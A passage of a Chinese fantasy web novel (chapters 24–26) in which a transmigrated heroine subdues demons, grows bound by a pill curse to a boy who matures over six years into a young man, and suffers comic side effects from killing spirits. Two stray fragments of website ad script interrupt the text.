而少数几只红纹妖怪虽不至于像蓝纹小妖一样见到银纹妖兽就秒跪认怂,但面对化龙强大的气场,他们骨子里对上古妖龙的敬畏感还是不受控制地被激发出来,毕竟宗政向离是妖族的上古老祖宗,他的影子无形中就能让妖怪感受到强大的压迫感和震慑力,因此,包括艳三娘、酒肆掌柜在内的几只红纹妖怪都呆怔在了原地,惊恐地看着游曳在茯凌周身的那条银纹妖龙,灵魂出窍般六神无主起来。 只有一些神族不受妖族天性压制,催动着各式各样的玄术就朝茯凌攻来,茯凌迅速识别出他们的修为不算高,可以被捆仙绳全体控制,于是同时甩出捆仙绳和雷符,一边全控住这些神族的行动,一边又施以雷击教他们做人。 一番操作下来,几乎不费吹灰之力就震住了全场。怔愣在一旁的红纹掌柜更是吓出一身冷汗,他脸上一阵红一阵白,想到自己方才竟蠢到用黑纹大妖随春生来吓唬她,却不知她身上竟有一条银纹妖龙,真是活久见,银纹妖兽竟给一个神族少女当了打手,这位神族少女到底是有多恐怖?! 他眼中恐怖值成谜的神族少女,此刻正阴森森地看着艳三娘,用一种毫无语调起伏,却空幽瘆人、鬼气森森的语气道:“金丹我吃了,小十一我要了,你们有意见我不反对,但都给我乖乖憋着。听懂了么?” 24. 第24章 祟气妖灵 艳三娘双脚一软,扑通一声跪倒在地:“听……听懂了……” 茯凌看着匍匐在她脚下的一众妖怪,觉得今天这个逼装得真不错,于是满意地继续扮酷道:“能做到么?” “能!能!”艳三娘忙道。 茯凌又扫视众人:“你们呢?” “能!能做到!” “我们都能做到!” “我们一定做到!” “都听您的!” “您怎么说,我们怎么做!” 众人众妖纷纷向茯凌拍胸脯保证。茯凌忍不住有些想笑,自从穿进废柴林起月的身体里,她已经很久没试过这么爽了,于是得意忘形地仰天大笑两声,小十一看她自我陶醉的样子,无奈地叹了一口气。 茯凌想到什么,收住笑,看向红纹掌柜:“你。” “我?”红纹掌柜连忙上前几步,“大人有何吩咐?” 茯凌财大气粗道:“我得在四方镇住上几年,你帮我找个雅静些的院子,不要在镇子里,也不要离镇子太远。我会给你一笔可观的佣金,绝对让你满意。” “不敢不敢。”红纹掌柜是懂阿谀奉承的,“为大人服务是小人的荣幸,小人一定为大人找到理想中的院子,佣金就算了,小人怎么敢收大人您的佣金呢。” 茯凌大方道:“你也是开门做生意的,既然托你办事,佣金自然不会少了你的。只是院子得尽快找,最好今天太阳下山前就找到。” 红纹掌柜道:“小人在附近倒是有处院子,大人要是不嫌弃的话,小人可以借给,哦不,送给大人居住。” 茯凌道:“那你带我去看看,合适的话,我付你租金,你也毋需再推辞。” 红纹掌柜道:“一切但凭大人做主。” 茯凌于是不再跟那群妖怪纠缠,日天日地大手一挥道:“尔等都散了吧!”接着她收回化龙,命红纹掌柜带她跟小十一去看院子。 从竹林到小院的路上,红纹掌柜看茯凌像是个傻的容易膨胀的,他料想这种人最容易糊弄,于是讨好般找茯凌聊起天来:“不知大人从何而来?来这四方镇又所为何事?” 茯凌却不愿跟他攀扯,道:“带你的路,没事别瞎打听。” 红纹掌柜赔笑道:“就随便问问,绝无其他意思。” 安静了一会儿,红纹掌柜又道:“大人这般魄力,连银纹妖兽都甘愿俯首称臣,他日必将带领我们四方镇一飞冲天,成为与噬魂楼、崇仙坊、踏云馆、八十一狱分庭抗礼的第五方势力!” 茯凌不冷不热地瞅了红纹掌柜一眼,突然从他身上看到了在相楚澜面前溜须拍马的自己的影子,原来竟是这副阴阳怪气的欠揍德行,难怪相楚澜总也不上钩。她撇撇嘴:“大可不必。” 她是来砍祟气妖灵的,不是来揭竿起义的,她的追求是杀回宗门,不是自立为王。 红纹掌柜见茯凌不爱搭理他,莫名其妙就从爱翘尾巴的小痞子变成了不苟言笑的正经人,他突然就琢磨不透她究竟是个什么样的性格,于是偃旗息鼓不再多说,后面一路都相当安静。最后几人来到院子所在地,茯凌各个房间都转了转,忽而想起来:“对了掌柜的,我包袱还在你酒肆呢。” “大人放心,我那酒肆在四方镇绝对算是安全之地,无人敢胡来。大人的东西,我保证一样不少都给大人原原本本送回来。” 茯凌点点头:“那行吧,就这个院子了,我租六年半,你算算,我该付你多少租金。” 最后茯凌成功租下院子,她和小十一在四方镇就算有了落脚之地。红纹掌柜走后,茯凌找了张凳子坐下,又把小十一叫到跟前,语重心长道:“我这个人吧,是最讲道理的,既然吃了你的百目金丹,就绝不会亏待你。但毕竟我俩认识时间不长,对我,你可能没那么了解。没关系,咱俩以后可以慢慢熟悉、慢慢了解、慢慢磨合。但有件事,我觉得你有必要提前知道一下。” 小十一把怀里的千里传音鸽放到桌上,侧首波澜不惊地看着茯凌:“嗯,你说。” 茯凌已经习惯他少年老成的冷淡反应,于是见怪不怪地继续说道:“我平生最讨厌被背叛,谁要是背叛我,我就算搭上自己一辈子,追到天涯海角,哪怕追到另一个世界,也定要杀他泄愤。所以你记住了,背叛谁也不能背叛我,否则我一定杀了你。” 小十一扬起脸来:“我也有件事要告诉你。” 茯凌闲闲道:“说。” 小十一道:“你吃的百目金丹,还没炼到最高品级。” 茯凌无所谓:“那也没办法,炼丹的人都死了,况且我也没那么贪心,有的吃就吃呗,管它是不是最高品级,你不必为此自责。” 小十一墨瞳幽极:“因为不是最高品级,所以无论谁,只要吃下用我心头血炼化而成的百目金丹,就自发与我同生共死、命运一体。”他无辜地扬唇微笑,“你不介意吧?” “你说什么?”反应过来后,茯凌脑子嗡地一响,声音陡然拔高,“我他娘的当然介意!” 她双眼喷火地盯着小十一:“你他妈早干嘛去了,现在才说?!你个小兔崽子顶多只能活一百来岁,我跟你同生共死,那我岂不是只剩几十年可活了?!” 妈的!只剩几十年可活的神族,跟明天就死的人族有什么区别?!茯凌越想越气,一把掐住小十一脖子:“龟孙子!你敢阴我?!我掐死你!咱俩今天谁也别活,都交代在这儿算了!” 小十一被她掐得小脸通红,却仍语气冷静道:“别啊,你只要每天用玄术割我两滴心头血润润胃,润个几十年就能把百目金丹升到最高品级,到时候同生共死的丹咒就会自动解除。” 茯凌仍觉气愤,她好心救他,他却摆了她一道!虽说她确实对百目金丹动了心思,但他也不能这么套路她!她抓住小十一的脖子晃来晃去:“意思是姑奶奶还得养你几十年?!” 小十一乌黑的瞳紧盯着她:“几十年怎么了?你不是说要给我养老送终?哄我的么?” 他的话卸去了茯凌的大部分火气,她虽然生气,但还不至于真掐死他,于是发泄完之后就松开了他,瞪眼道:“那你要是中途死了怎么办?我割谁心头血润肺去?” 小十一没管脖子上的红印,神色无波无澜道:“你上点心,我就死不了。” 茯凌仍觉憋屈:“不行,我得打你一顿,不然过不了我自己这关。” 小十一静静地看着她,过了一会儿才缓声道:“你冷静一点。” “冷静不了一点!”茯凌现在恨不得咬死他才好,她蛮狠地扯过小十一,一个十一岁的人族小孩儿,她也不好打得太过分,于是就强行把他上半身压在她腿上,照着他被迫撅起的屁股就扬手重重打了一掌:“我打死你个鳖孙!” 小十一的脸瞬间通红,又羞又怒地挣扎起来:“你竟敢!” 放肆!简直放肆!她区区一个神族小姑娘,竟敢打他屁股!简直,简直倒反天罡! “你都敢给我下套了,我还有什么不敢的?”茯凌控制住小十一的挣扎动作,在他屁股上又狠狠打了几巴掌,“记住今天的教训!下次再敢阴我,我脱了你裤子连皮带肉地打!” 小十一现在只是个人族小孩,面对茯凌完全没有反击之力,他涨红着脸,既惊讶又羞恼,既愤怒又无奈地接受着自己正被一个仅仅一百来岁的神族少女打屁股的事实,他咬着牙,屈辱道:“你也记住今天!” “好啊,还敢嘴硬!”茯凌打得越来越密、越来越凶,最后手都打麻了才作罢,她把小十一从她腿上拉起来,吩咐道:“姑奶奶现在要去祟气谷砍祟气妖灵,你把院子打扫一下,等掌柜的把包袱送来,你从包袱里拿些银子给他,再托他带你去买些日用品、床褥什么的,还有鸽子饲料也买些,把鸽子喂了。再买点米啊菜啊的,我回来之前,你得做好饭,洗澡水也得烧好。还有,这里两间房,我住大的那一间,你仔细打扫干净,床褥也给我铺好喽……” 她巴拉巴拉吩咐了一大堆,小十一面红耳赤地盯着她,茯凌看他一副羞愤欲死的小模样儿,心里总算畅快不少,笑道:“瞧你还矫情上了,不就被打了一顿屁股嘛,你哪天出息了长本事了,我给你打回来就是。” 茯凌得意地拍了拍小十一的肩:“我就说我这个人讲道理,我打你屁股,也允许你打回来,但你技不如人,打不过我,这就不能怪我了是不是?” 小十一眸中显出讥诮之色,冷笑道:“你等着。” 茯凌见他嘴硬,哼道:“你他娘的比我还能装。” 说完就不再搭理小十一,转身出门干正事去了,走到院中又脚步不停地扬声提醒小十一:“记得买两套像样的餐具,我现在有的是钱!” 关于重塑神脉的所有细节,系统早已传送到她脑子里,所以茯凌很快就找到祟气谷,这里距离她居住的院子不算太远,是一个被群山环绕的山谷,枯棕色的山脉,萦绕着诡异的绿色气流,这些气流就是她本次的目标祟气妖灵。 根据从锦囊妙计里得到的信息,通过斩杀祟气妖灵可以帮助神族、妖族提高修为,但祟气妖灵极擅迷惑心智,修炼者稍有不慎就会被它啃噬灵魂,成为一具滋养祟气妖灵的行尸走肉。因此自古以来,很少会有神族、妖族利用这种方式修炼,风险系数太高。 茯凌自认为意志力还算坚定,但同样不敢放松警惕,她画出一张利剑符,手握长剑、全身戒备地走进祟气谷,进去后才发现谷内风景竟然不错,有一条贯穿南北的河流,地上还长满了青草,如果不是到处乱窜的祟气妖灵,还有一些漫无目的游荡在谷内的行尸走肉,祟气谷看上去倒挺适合旅游观光。 茯凌没耽误时间,挥动长剑就开始劈杀祟气妖灵,同时又不忘打量起周围的行尸走肉,她发现他们中有神族也有妖族,有男有女,有老有少,但全都双目无神,看上去十分诡异也十分可怜。 系统只说这些行尸走□□内滋生着大量祟气妖灵,但没说能不能砍他们,因此茯凌秉持多一事不如少一事的原则,在劈杀祟气妖灵的时候都刻意避开了这些行尸走肉,谁知道一剑劈下去会发生什么?要是爆出武器倒还好,要是爆出个其他什么会给她带来麻烦的东西,那就不好了。 茯凌挥舞着长剑刺来刺去,发现刺死祟气妖灵并不难,甚至可以说很简单,难的是要时刻保持意识清醒,周围这些祟气妖灵就像会催眠似的,会让茯凌下意识走神,还好她很快就意 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 识到这点,于是刺死祟气妖灵成了任务副线,主线变成如何让自己全神贯注、注意力高度集中。 也不知过了多久,茯凌总算杀满四十九只祟气妖灵,美中不足的是,在她刺杀最后一只祟气妖灵时发生了意外,一个中年男性神族行尸走肉竟自己撞了上来,茯凌来不及收剑,那具行尸走肉就把自己的胸口刺进了剑里,他的身体瞬间爆成一堆祟气妖灵逃窜开来,茯凌屏气敛神看着这一切,最后发现行尸走肉爆成祟气妖灵后什么也没发生,这才放下心来离开祟气谷。 随着首日任务的完成,夕阳已经西斜,茯凌摸着空荡荡的肚子走在回小院的路上,这才想起来自己这一天竟没正儿八经吃过东西,最好小十一已经准备好饭菜等她回去,不然她必须再打他一顿出气。 没等茯凌走进院子,饭菜香就远远飘了出来,茯凌饿死鬼一样使劲嗅了两下,肚子立马欢快地咕噜咕噜叫起来,她咧起嘴推门而入,看到堂屋的四角桌上摆着三荤二素加一汤,馋得她哈喇子都差点流出来,连忙拉开凳子坐下,高声喊道:“上饭!” 这时小十一端了道三菇烩豆腐从厨房出来,正好对上茯凌一双笑眯眯的眼睛,她心情不错地盯着他:“可以啊朋友,厨艺不错,没白养你。” 小十一面无表情地将三菇烩豆腐放在茯凌面前:“你养我什么了?” “你个小白眼狼,在林府的时候,我是不是养了你大半个月?”茯凌挟恩图报道,“一饭之恩就算养,何况你吃了我多少顿?再说我还分了一半床榻给你呢,别不知足啊。” 小十一没理她,转身去厨房盛了两碗米饭出来。 茯凌拿起筷子就开始一顿狂炫,一边把嘴里塞得鼓鼓囊囊,一边忍不住夸赞他道:“想不到你做饭这么有天赋!以后就朝这个方向发展,回头我在京都给你开一家酒楼,咱俩五五分账,我带你一起富贵!” 小十一见她不顾形象地狼吞虎咽,完全不像出身名门的宰相千金,道:“你来这儿,林如进知道么?” 茯凌边吃边道:“老头都嗝屁几个月了,他能知道啥?” “林如进死了?” “昂。”茯凌道,“林府死绝了,就剩我一个,所以我现在很有钱。”她抬头看了他一眼:“开心吧?你抱上本富婆的金大腿了!” 小十一没说什么,也没问她林府覆灭的原因,只突然提醒她道:“祟气谷的那些行尸走肉,你最好避开些,砍中了会很麻烦。” 茯凌扒饭的动作顿了下:“怎么个麻烦法?” 小十一眉梢微微往上挑了挑:“你已经砍了?” 茯凌咽下嘴里的米饭:“昂。不小心砍中一个。但我现在感觉还好,没遇上什么麻烦。”说完疑道:“你怎么知道我去了祟气谷?” 小十一无语地敛了下眉:“你自己说的。” 记性这么差嘛?说过就忘? 茯凌想了想,她好像确实在出门前提过一嘴自己要去祟气谷砍祟气妖灵,“哦”了声,说:“吃饭吧,我现在挺好,没碰上什么麻烦。” 话刚说完,心头突然涌上一股强烈的悲伤感,两行清泪不受自己控制地就掉落下来,茯凌奇怪地伸手揩掉眼泪:“怎么回事?我怎么哭了?” 一边说着,一边眼泪水簌簌不停,擦都来不及擦,心口也像是被什么堵住似的又闷又疼,悲痛得仿佛要哭死过去。 小十一看热闹地嗤笑道:“麻烦这不就来了?” 茯凌没忍住,“哇”的一声哭了出来,抽噎道:“什么情况?我为什么会这么伤心?好难过,怎么会这样?呜呜呜呜呜……” 小十一慢条斯理地夹菜,悠悠道:“大概是你砍中的那具行尸走肉。现在估计是他生前的情绪在侵扰你。” 茯凌泪流不止,恸哭道:“什么意思?只要我砍中行尸走肉,就会受到这种情绪侵扰吗?” “不一定。”小十一道,“有时候是情绪侵扰,有时候会被死者生前最擅长的绝招攻击,有时候会跟死者得一样的病,染上一样的癖好,也有可能是其他一些情况,不好说。” 茯凌痛得捂住了胸口,哭得上气不接下气:“随机的?隐藏福袋吗?” 小十一声音清脆:“是这个意思。” 茯凌已经悲伤到无法继续进食:“那我还要哭多久?好忧伤,好酸楚,我的心都要碎了。” 小十一见她被眼泪水糊了满脸,眉毛也成了倒八,嘴角噙出一丝笑意:“你要不要去洗个脸?” “洗脸有什么用?我这眼泪水就跟不要钱似的,洗了也白洗。”茯凌心痛如绞,嚎哭道,“我到底要哭多久?不行你就敲晕我,我实在哭不动了,心好痛。” 小十一淡淡道:“我也不知道你要哭多久,大概哭到心里畅快了为止。” 茯凌一把眼泪一把鼻涕地问他:“你怎么会知道这些?” 小十一敷衍道:“听刘药师说的。” 茯凌泪流满面地举起一张凳子递给小十一:“拿着,用它敲晕我,我眼睛要哭瞎了。” 小十一平静地接过凳子,把它放去了边上,道:“我没那么大力气。”接着,他又指了指前面那根房屋支撑柱,“要不你自己撞过去?” 25. 第25章 传音露珠 茯凌最后还是没敢拿脑袋往柱子上碰,她天生神力,万一不小心把自己撞死了怎么办?只好哭了一整晚,直到天蒙蒙亮才浑身虚脱地睡过去。 次日中午,茯凌被渴醒,她体内的水分几乎被哭干,红肿着一双眼睛就出去找水喝,还好小十一早有准备,提前放了一大壶水在桌上,茯凌仰头一口气喝完,这才舒服些。她看向正在院子里扫地的小十一,扬声问道:“现在什么时辰了?” 小十一回头看了她一眼,道:“午时。” 茯凌又问:“还有剩余的饭菜吗?” 小十一将手里的扫帚竖靠在院墙上,对她道:“等会儿。” 片刻后,小十一将饭菜一一端上桌,茯凌看着桌上的两碗白米饭,问他:“你也没吃呢?” 小十一没回话,坐下开始吃饭。 茯凌也拿起筷子,道:“以后不用等我,到点你就先吃。” 小十一依旧没有理她。 茯凌笑道:“还在为我昨天打你屁股的事生气呢?” 小十一这才微微红着脸道:“你还骄傲上了!” 茯凌用筷子干净的那一边敲了下小十一的脑袋:“人小鬼大。等你什么时候长大成人了,再用这种语气埋汰我。”想了想又道,“长大成人也不准埋汰我,我比你年长一百岁,你不管长多大,都得恭恭敬敬待我。” 小十一掀起眼皮子看她:“年纪小的确实该恭敬些,你最好也记住。” 茯凌道:“你少管我。”她看了眼屋外的鸽子,道:“别忘了喂鸽子,我今天回来要用它传个信回京都。” 小十一道:“你给谁传信?” 茯凌埋头干饭:“你少管,跟你没关系。” 小十一于是没再多问。 有了昨天的教训,茯凌今天击杀祟气妖灵时非常小心,特意避开有行尸走肉的地方,总算没有击中那些麻烦的东西。等她从祟气谷出来,天已经黑透,她一边往回走一边催动灵力凝出一颗传音露珠。 她其实没什么好跟相楚澜分享的,但是又怕他忘了她,绞尽脑汁想着要跟他说的话,最后实在想不出来,于是只好就地取材,在传音露珠里放入了自己此时走在月光下的一段影像,加上一句话:“我今天穿的是水蓝色衣裳,好看么?” 回到竹林小院,发现小十一正蹲在院子里种花,见她回来,他起身拍了拍手上的尘土:“饭菜做好了,你洗个手准备吃饭。” 茯凌点点头:“哦,马上。” 她感觉自己捡到宝了,没想到小十一竟然是居家型的,做饭是把好手,打扫也很在行,居然还会种花,不错不错,原以为他会是个小累赘,没成想竟是个好帮手。茯凌满意地走到千里传音鸽面前,把装有自己影像的传音露珠塞进了白鸽嘴里,轻声道:“去罢,找上次让你闻过气味的那个男的。” 千里传音鸽含着传音露珠飞离了茯凌掌心,很快消失在远处。茯凌转身去洗手,心想等哪天有时间了,得去镇上多买几身不同颜色不同款式的衣裳,这样以后每隔一段时间就传一段她穿不同衣裳的影像给相楚澜,省得她再费心思琢磨传什么给他。 日子一天天地过,茯凌每日不辍地前往祟气谷砍祟气妖灵,用千里传音鸽给相楚澜传了无数段影像,虽然他一次也没回应过,但好在他对她的好感度并没下降,甚至还速度极慢地有所上升,这对茯凌来说无疑是意想不到的收获。 很快六年过去,在小十一的精心照料下,竹林小院长满了鲜花,走近便能闻到幽幽花香,有时还会吸引不少蝴蝶来此盘旋,小十一也从男孩儿长成了少年,不知从何时起,茯凌对他的称呼从“小十一”变成了“十一”,可能是对着高出她一大截的少年,她实在喊不出那个“小”字。 今天茯凌从祟气谷回来,院子里阳光正盛,十一前两年移栽过来的桃树开得绚烂,粉嫩新绿的一片,他还在桃树旁给她做了个秋千,此时那只肥白的千里传音鸽正站在秋千上发呆,茯凌于是想起来自己似乎好些天没给相楚澜送传音露珠了。 见时间还早,茯凌于是决定去镇上买身新衣裳。 “十一!”茯凌站在院中喊了声,没听到应答,她进屋找了找,发现十一不在家,心想可能是去镇上买菜了,又或者是去山里采药了,于是就取了些银子,准备去镇上,谁知刚出门就迎头遇上刚回来的十一,他穿一身简单的银蓝色布衣,背着个竹筐,看样子是刚采药回来。 他说跟刘药师学了些药理,所以这些年经常会上山给她采药调理身子,倒不是她身子弱,而是吃了十一煎的药,她体内灵力蹭蹭蹭往上涨,身体也变得愈发轻盈。 “要去哪儿?”十一来到她跟前问道。 他离她两三步的距离,高大颀挺地站在她面前,茯凌要昂起脖子才能跟他对视,在他的身高压制下,茯凌脖子不太舒服地往后退了两步,道:“你这几年到底吃掉我多少银子?怎么长这么快?” 十一唇红齿白地笑了笑:“你跟我吃的一样,怎么一点儿都不长?” 茯凌哼道:“我都一百多了,长什么长?” 十一瞳孔漆黑,垂眸温柔地看着她:“别动不动就把自己一百多挂在嘴上,千年的妖怪听了要笑话。” 茯凌道:“你少管我。” 这些年,这句“少管我”差不多已经成为她的口头禅,因为十一总喜欢在一些小事上管着她,比如管她吃饭的速度,不能太快,管她喝水的温度,不能太凉,管她睡觉的时间,不能太晚,管她这管她那,她有时候都觉得自己不是请了个洗衣煮饭的佣人,而是花银子请了座活爹回来。想当年她师傅都没像十一这样管她! 十一没在意她的语气,嗓音清润道:“早点儿回来,别再镇上待太久。” 茯凌问:“你怎么知道我要去镇上?” 十一道:“除了祟气谷和四方镇,你还去过其他地方么?” 茯凌不满道:“你少自以为是,再过几天,我就要去新的地方了。” 十一淡声问:“你要去哪儿?” “说出来吓死你。”茯凌道,“我要去八十一狱。” 十一愣了下,片刻后他若有似无地勾唇轻笑道:“你可真会选地方。” 茯凌以为他真被她吓到,准备像以前那样拍拍他的肩,但伸出手才第无数次意识到自己已经够不到他肩膀了,于是改为拍了拍他胳膊,道:“放心,那地方危险,我自己去,不带你。” 小十一没接话,只嘱咐道:“别在四方镇待太久,买完东西就回来。” 说着就转身进了院子。 茯凌在他背后扁扁嘴,在心里犯嘀咕道:你又知道我是去买东西,瞧把你能的。 不过茯凌在一些事上还是挺听十一话的,比如用他心头血润完胃后,要跑两圈活动活动筋骨才能睡觉。比如滋养灵力的草药要分早中晚喝三回,为此,她特地把祟气妖灵分成两次砍,一次上午一次下午。又比如,不要在四方镇待太久。 之所以会在这些事上听十一的,是因为茯凌觉得他虽然只是个十七岁的人族少年,但似乎很懂这个玄术世界的法则,就跟活了几千几万年似的。有时候不得不承认,多读书确实有点用。以前在林府,他说他读书多,她还有些不信,这几年是信了,因为不过六年时间,十一的屋子里就堆满了书籍,什么稀奇古怪的都有。他似乎很喜欢用读书的方式来排遣无聊的时光。 从四方镇买完衣裳回来,茯凌抽空在路上凝出一颗传音露珠,记录道:“今天新买了一身衣裳,紫色的,下回穿给你看。” 回到家,茯凌把传音露珠塞进千里传音鸽嘴里,心想相楚澜这几年想必见全了她衣柜里的每一身衣裳,如果他真的有看这些传音露珠的话。 走进堂屋,发现十一已经开始往四角桌上端菜了,茯凌洗完手坐下,道:“再过不久,我们就要回京都了,你想好回去后要干什么了么?之前说的开酒楼,我觉得不错,到时候我再托人给你说个媳妇儿,你模样不错,没准儿可以娶个千金小姐。” 十一也在桌边坐下,无动于衷道:“娶媳妇就算了,算命的说我命薄,活不过十八。” “哪个算命的说的?”茯凌道,“该不会是那个拿块石头当姻缘石的老侏儒吧?” 十一没什么表情地问道:“你摸过那块石头?” 茯凌道:“摸过啊。说我什么‘凡人动心,太子薄情,阎王娶亲,神明入世’,酒肆掌柜说老侏儒拿浮夷四相骗我酒喝。” 十一眼梢微挑:“你的姻缘石批语是浮夷四相?” 茯凌不以为意道:“什么姻缘石批语?不就是块破石头。”她又问他,“你还没说是谁给你算命说你活不过十八?你今年都十七了。要是你明年就死了,那我还砍什么祟气妖灵?我可不想给你陪葬。” 十一被她的模样逗笑:“我自己算的。” 茯凌这才放下心来,揶揄他道:“你还会算命呢?来,给我也算算。”说完就朝他摊开右手手掌,“看我这手相,是不是贵不可言。” 十一认真地掰开她稍稍蜷起的手指,指尖在她掌心沿掌纹轻轻划过,痒得茯凌立马缩回手,笑道:“你给我算命呢,还是挠我痒痒呢?看出什么了吗?” 十一声音柔和:“福泽绵延,得偿所愿。” 茯凌才不信他的胡编乱造,冷不丁瞥到他右手手背上被红莲业火灼烧过后留下的疤痕,遗憾之下不注意就把心里话给说了出来:“可惜了这么好看的一双手,白得跟玉似的,怎么就留了疤呢!” 十一眸中闪过笑意:“你管我手好不好看?” 茯凌哼着改口道:“你该庆幸手上有道疤,不然你一个男人,手生得比女人还漂亮,成何体统?”真是奇了怪了,他天天忙里忙外操劳家务,还上山采药,怎么一双手冰肌玉骨的比她还细腻?太气人了。 两人吃完饭坐到院子里看月亮,茯凌一人独占秋千,十一就坐在旁边的门槛上处理今天刚采回来的草药,茯凌算了算日子,道:“大概再有九天,我就不去祟气谷了,改去八十一狱拿点东西,我要是死在八十一狱,你也会跟着一起死么?” 十一手里拿着一株绿色的草药,头也没抬,轻声却笃定道:“你死不了。至少不会死在八十一狱。” 茯凌道:“我要去八十一狱修罗塔,守塔的妖兽里有银纹级别,我可能打不过,说不好就死那儿了。” 十一看了她一眼,波澜无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惊道:“你要去拿永夜银河?” 茯凌惊讶地看向十一,赞赏道:“读的书多就是不一样,连修罗塔里面有永夜银河都知道。”要是她早一点跟他重逢,也许都不用消耗一枚锦囊妙计,直接问他就行。 六年朝夕相处下来,茯凌已经对十一有了一定的信任,于是没隐瞒他,继续道:“我要找一件上古神器重塑神脉,选中了永夜银河。” 说完,她以为十一会嘲笑她自不量力,谁知他却只是挑起一边眉,轻声笑道:“你挺会选。” 茯凌不明白他的意思,却也没想搞明白。毕竟十一再怎么见识广博,也不可能在这件事上帮到她。茯凌把脑袋抵在秋千吊绳上,看看这儿看看那儿,最后不知怎么就看到了十一身上,他头发简单束在脑后,随意地绑了个发髻,朴素得跟个已经看破红尘的道长似的,没有任何赘饰,鬓角两缕龙须刘海自然垂落,衬得他眉眼缱绻不羁,自有一派风月无边。 老实说,茯凌根本不记得自己是从什么时候发现十一漂亮这件事的,虽然打从一开始就知道这小孩儿模样好,但完全没想过他长大后竟能超过相楚澜,成为她迄今为止遇到的第一绝色。 看着看着就看到十一勾唇扬起一抹淡笑,接着他柔和的声音响起:“你还要看多久?” 茯凌仍旧盯着他:“又不要钱,再看会儿。” 他这才侧目望向她,唇边笑意未散,眼眸却深邃不见底:“你以前也这么看相楚澜?” 茯凌从他身上移开视线,随口敷衍道:“差不多吧。” 过了会儿,他突然问:“那我跟他,谁比较好看?” 茯凌笑道:“你跟他比什么,你俩又不一样。” 十一没说话,垂眸把地上的草药收了起来。 茯凌见他脸上淡淡的神色似乎与往日有些不同,却又说不出哪里不同。想了想,道:“他比你意气风发,比你有少年气,也更张扬些。你嘛,虽然年纪不大,却意外地没有稚嫩感,看起来更自洽、温柔、张弛有度。” 十一饶有兴致地看向她:“夸我成熟稳重,还是骂我老气横秋?” 茯凌脚尖着地,往后用力一抵,荡着秋千笑道:“说你稳如老狗。” 他看她荡得欢快,没说什么,静静看她荡了一会儿秋千,接着才起身道:“该喝药了。” 茯凌“哦”了声,从秋千上跳下来,跟在十一身后进了屋。 喝了十一煎好的草药,又取了他两滴心头血,茯凌感觉自己体内的灵力变得愈发充沛强劲起来。起初,她觉得取他心头血是天经地义,谁让他不说清楚就把百目金丹拿给她吃?可连续割他心头血割六年,就算她再怎么自私自利没心没肺,也都开始忍不住觉得对不住十一,但也没办法,她还有千百年寿命可活,总不能真跟十一同生共死,只能在平时对他好些,多弥补弥补他。 茯凌打定主意,回京都后,一定给十一开间最大的酒楼,她要把他供成京都首富,让他想干嘛干嘛,买一院子的书,娶全京都最漂亮的姑娘,随心所欲,为所欲为! 为了庇护好十一,也为了早日完成系统任务,茯凌潜心修炼直至半夜,更加发奋图强力争上游。次日清晨起来,她喝了碗十一煮的清粥,又吃了两个鸡蛋,接着就精神饱满往祟气谷去了。 上午砍祟气妖灵砍得十分顺利,下午却发生了点小意外,有个长相妖娆的蓝纹女妖行尸走肉竟然趁她不备,主动撞上了她的利剑,没等茯凌反应,行尸走肉下一秒就爆成一堆祟气妖灵,徒留茯凌一人在原地凌乱。 上一次不小心击中行尸走肉,还是六年前第一天来祟气谷的时候,她记得自己那天被行尸走肉生前的情绪侵扰,恸哭了一晚上,哭到身体都脱了水。这次这个又会发生什么? 茯凌有些忐忑地回到家中,十一正坐在院子里煎药,见她回来,他起身准备去厨房给她拿些零食,可见她表情不对,是一副失神落魄的样子,他脚下步子停住:“你怎么了?” 茯凌欲哭无泪地走到十一面前:“我又砍中行尸走肉了。” 十一见她眼底沁出可怜兮兮的哀伤懊恼,小表情活脱脱一个丧气包,不禁有些想笑,柔声安慰道:“忍忍就过去了。” 茯凌苦着一张脸:“这次不知道又要受什么罪。”她想起自己先前悲伤到难以进食的惨状,忙道,“不行,我们现在就吃饭,虽然天色尚早,但我怕等会儿就吃不下饭了。十一,赶紧的!” 天大地大干饭最大,她得趁“症状发作”前,先把肚子填饱。 茯凌催十一去厨房生火做饭,她自己也跑进厨房准备扒拉点吃的,十一看她翻来翻去什么也没翻到,对厨房完全不了解,只好走过去从橱柜上面拿出新买的糕点递给她,又给她倒了一杯他刚酿好的桂花酒,茯凌一手端酒杯一手拿糕点,边吃边喝道:“没有你我该怎么办。” 十一笑了笑:“慢点吃。” 他转身取出一些白米,正要去清洗,忽而见茯凌放下刚吃两口的糕点和桂花酒,表情古怪地看着他,他知道她要“发作”了,静静等待她这次的“症状”,只见她突然扭了一下腰,又甩了一下臀,接着双手抬起在空中轻划慢动,竟在他面前跳起了诡异而妖娆的舞。 26. 第26章 异域少年 茯凌没想到砍祟气谷的行尸走肉还有这效果呢,竟让她一瞬之间学会了跳舞。 虽然在十一面前风骚地甩臀、妖艳地扭腰、轻佻地勾手,着实非常尴尬,但妖里妖气地搔首弄姿,总比撕心裂肺地嚎哭强一些,至少不会让她感受到那种巨大的能够将人完全吞噬的悲痛。 茯凌见十一的表情微微起了变化,不好意思地解释道:“看来这次打中的是个生前喜欢跳舞的舞姬。” 她看到十一有些不自然地把目光从她身上挪开,声音也变得略显古怪起来:“你去别处跳。” 茯凌水蛇般扭来十一面前:“不行啊,我控制不了,跳着跳着就想往你身上凑。” 她贴着十一的身体,卖弄风骚般舞动着,不受控地就要去摸十一喉间坚硬的突起,她看着那个线条清晰的代表男性特质的喉结,脸刷一下红透,大声提醒道:“我要摸你了,要摸你了!快躲开!” 在她即将触碰到他喉结的前一秒,十一握住她手腕,制止了她接下来的动作,他对上她一双清澈的眼睛,又见她曲线玲珑地在他身边极致卖弄,眼神变得晦暗不明,茯凌苦笑道:“要不你找根柱子撞晕自己?” “我怕你会对晕过去的我做让自己后悔的事。”十一清冷的嗓音里难得带上些微别扭。 说完,他将她拦腰抱起,茯凌靠在他怀里继续手脚并用地舞动,她双脚在空中上下轻划,胳膊横斜勾住他的颈,指尖点在他下颌,在他身上妖娆撩拨,十一只好往后仰了仰,避开她的触碰。最后他把她抱进卧房,将她放下道:“你在这儿跳。” 他说完欲走,茯凌却转着圈圈舞到他跟前:“都说了不行了,这个舞好像不能我自己跳,必须得有人在边上欣赏。你要不看,我估计会一路跳到镇上去,舞给所有人看。” 十一无奈地看着她,他眼瞳愈发幽深,茯凌表情无辜地与他对视,道:“我都没嫌丢人,你别扭什么?待这儿好好看着就是,这辈子我就跳这一次。” 